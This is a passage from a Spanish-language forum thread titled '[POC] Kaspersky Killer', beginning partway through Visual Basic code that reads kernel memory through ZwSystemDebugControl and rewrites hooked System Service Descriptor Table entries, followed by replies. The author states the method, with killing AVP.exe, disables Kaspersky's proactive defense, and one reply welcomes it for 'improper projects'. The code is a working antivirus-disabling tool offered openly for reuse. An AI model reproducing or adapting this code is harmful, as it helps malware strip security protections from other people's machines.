  220.    Assert dwKSDT <> 0
  221.    dwKSDT = dwKSDT - hKernel
  222.    dwKiServiceTable = FindKiServiceTable(hKernel, dwKSDT)
  223.    Assert dwKiServiceTable <> 0
  224.    CopyMemory VarPtr(DosHeader), hKernel, 64
  225.    With DosHeader
  226.        Assert .e_magic = &H5A4D
  227.        CopyMemory VarPtr(NtHeader), hKernel + .e_lfanew, 168
  228.    End With
  229.    With NtHeader
  230.        Assert .Signature = &H4550
  231.        Assert .Magic = &H10B
  232.    End With
  233.    pService = hKernel + dwKiServiceTable
  234.    Do While DwordFromPtr(pService) - NtHeader.ImageBase < NtHeader.SizeOfImage
  235.        Address1(dwServices) = DwordFromPtr(pService) - NtHeader.ImageBase + dwKernelBase
  236.        pService = pService + 4
  237.        dwServices = dwServices + 1
  238.    Loop
  239.    FreeLibrary hKernel
  240.    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
  241.    With QueryBuff
  242.        .Address = dwKernelBase + dwKiServiceTable
  243.        .pData = VarPtr(Address2(0))
  244.        .Length = dwServices * 4
  245.    End With
  246.    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
  247.    Length = DwordFromPtr(VarPtr(Buff(0)))
  248.    For I = 0 To Length - 1
  249.        With ModuleInformationFromPtr(VarPtr(Buff(I * 284 + 4)))
  250.            For j = 0 To dwServices - 1
  251.                If Address2(j) >= .Base And Address2(j) < .Base + .Size Then
  252.                    ModuleName(j) = StringFromPtr(VarPtr(.ImageName(0)))
  253.                End If
  254.            Next
  255.        End With
  256.    Next
  257.        For I = 0 To dwServices - 1
  258.            If Address1(I) <> Address2(I) Then
  259.                RecoverSSDT I
  260.                WriteSSDT
  261.            End If
  262.        Next
  263. End Sub
  264.  
  265. Private Function StringFromPtr(ByVal pString As Long) As String
  266.    Dim Buff() As Byte, Length As Long
  267.    Length = lstrlen(pString)
  268.    If Length = 0 Then Exit Function
  269.    ReDim Buff(Length - 1)
  270.    CopyMemory VarPtr(Buff(0)), pString, Length
  271.    StringFromPtr = StrConv(Buff, vbUnicode)
  272. End Function
  273.  
  274. Public Sub FindNtdllExport()
  275.    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER, ExportDirectory As IMAGE_EXPORT_DIRECTORY
  276.    Dim I As Long, hNtdll As Long, FuncRVA() As Long, NameRVA() As Long, Ordinal() As Integer, ThisName As String, ThisNumber As Long
  277.    hNtdll = GetModuleHandle("ntdll.dll")
  278.    Assert hNtdll <> 0
  279.    CopyMemory VarPtr(DosHeader), hNtdll, 64
  280.    With DosHeader
  281.        Assert .e_magic = &H5A4D
  282.        CopyMemory VarPtr(NtHeader), hNtdll + .e_lfanew, 128
  283.    End With
  284.    With NtHeader
  285.        Assert .Signature = &H4550
  286.        Assert .Magic = &H10B
  287.        Assert .SizeOfOptionalHeader >= 104
  288.        Assert .NumberOfRvaAndSizes >= 1
  289.        Assert .ExportTableSize >= 40
  290.        CopyMemory VarPtr(ExportDirectory), hNtdll + .ExportTableRva, 40
  291.    End With
  292.    With ExportDirectory
  293.        Assert StringFromPtr(.name + hNtdll) = "ntdll.dll"
  294.        ReDim FuncRVA(.NumberOfFunctions - .Base), NameRVA(.NumberOfNames - 1), Ordinal(.NumberOfNames - 1)
  295.        CopyMemory VarPtr(FuncRVA(0)), hNtdll + .AddressOfFunctions + .Base * 4, (.NumberOfFunctions - .Base) * 4
  296.        CopyMemory VarPtr(NameRVA(0)), hNtdll + .AddressOfNames, .NumberOfNames * 4
  297.        CopyMemory VarPtr(Ordinal(0)), hNtdll + .AddressOfOrdinals, .NumberOfNames * 2
  298.        For I = 0 To .NumberOfNames - 1
  299.            ThisName = StringFromPtr(hNtdll + NameRVA(I))
  300.        Next
  301.    End With
  302. End Sub
  303.  
  304. Public Function ReadMemory(ByVal Address As Long, ByVal Length As Long) As Byte()
  305.    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long, Buff() As Byte
  306.    ReDim Buff(Length - 1)
  307.    With QueryBuff
  308.        .Address = Address
  309.        .pData = VarPtr(Buff(0))
  310.        .Length = Length
  311.    End With
  312.    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
  313.    If ReturnLength = Length Then ReadMemory = Buff
  314. End Function
  315.  
  316. Public Sub Assert(ByVal bBool As Boolean)
  317.    If Not bBool Then
  318.        MsgBox "Assertion Failed!", vbCritical, "Error"
  319.        End
  320.    End If
  321. End Sub
  322.  



« Última modificación: 23 Abril 2009, 04:28 am por XcryptOR » En línea



Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [POC] Kaspersky Killer
« Respuesta #1 en: 13 Abril 2009, 22:52 pm »

 :o Buen trabajo ;)

Solo una duda... necesita reinicio? :-\


En línea

el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: [POC] Kaspersky Killer
« Respuesta #2 en: 13 Abril 2009, 23:54 pm »

che esta muy bueno, me intereso mucho el tema del des-hookeo de las SSDT, cosa que solo se podia lograr con programas como el IceSword o similes.
ahora habria que probarlo. yo sinceramente no uso KAV porque me parece malo, pero en fin, esta bueno meter el code este para proyectos no debidos :P

en fin, gracias por el aporte!

saludos
En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
XcryptOR

Desconectado Desconectado

Mensajes: 228



Ver Perfil
Re: [POC] Kaspersky Killer
« Respuesta #3 en: 14 Abril 2009, 01:00 am »

:o Buen trabajo ;)

Solo una duda... necesita reinicio? :-\

No para nada, lo probe en win XP sp3 y funciona muy bien
En línea



seba123neo
Moderador
***
Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: [POC] Kaspersky Killer
« Respuesta #4 en: 14 Abril 2009, 03:31 am »

no tengo para probarlo, pero confio en que anda  :), y por fin alguien que postea prolijo con las etiquetas de visual basic...

saludos.
En línea

Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: [POC] Kaspersky Killer
« Respuesta #5 en: 14 Abril 2009, 14:33 pm »

Pero esto solo repara la tabla SSDT, la Shadow SSDT no la repara y el driver del KAV tiene hooks hay....

Buen código  ;) felicidades
En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: [POC] Kaspersky Killer
« Respuesta #6 en: 14 Abril 2009, 14:41 pm »

Agregado a mis marcadores  ;-)
En línea

XcryptOR

Desconectado Desconectado

Mensajes: 228



Ver Perfil
Re: [POC] Kaspersky Killer
« Respuesta #7 en: 14 Abril 2009, 21:21 pm »

Pero esto solo repara la tabla SSDT, la Shadow SSDT no la repara y el driver del KAV tiene hooks hay....

Buen código  ;) felicidades

gracias Hendrix, no se que apis tenga en la shadow SSDT pero al limpiar la SSDT y terminar el proceso AVP.exe el driver se puede eliminar y kaspersky queda deshabilitado, no mas defensa proactiva
En línea



Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: [POC] Kaspersky Killer
« Respuesta #8 en: 14 Abril 2009, 21:25 pm »

Interesante code  :P

Saludos

P.D: no debería de ir a "Análisis y diseño de malware"?
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
Distorsion

Desconectado Desconectado

Mensajes: 238


15Hz ~ 20Hz


Ver Perfil
Re: [POC] Kaspersky Killer
« Respuesta #9 en: 14 Abril 2009, 21:34 pm »

Al ejecutarse no muestra un cartelito avisando que el programa intenta obteber privilegios de depuracion?
En línea

Páginas: [1] 2 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Kaspersky « 1 2 »
Software
Zorronde 13 7,576 Último mensaje 3 Abril 2022, 15:25 pm
por Danielㅤ
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines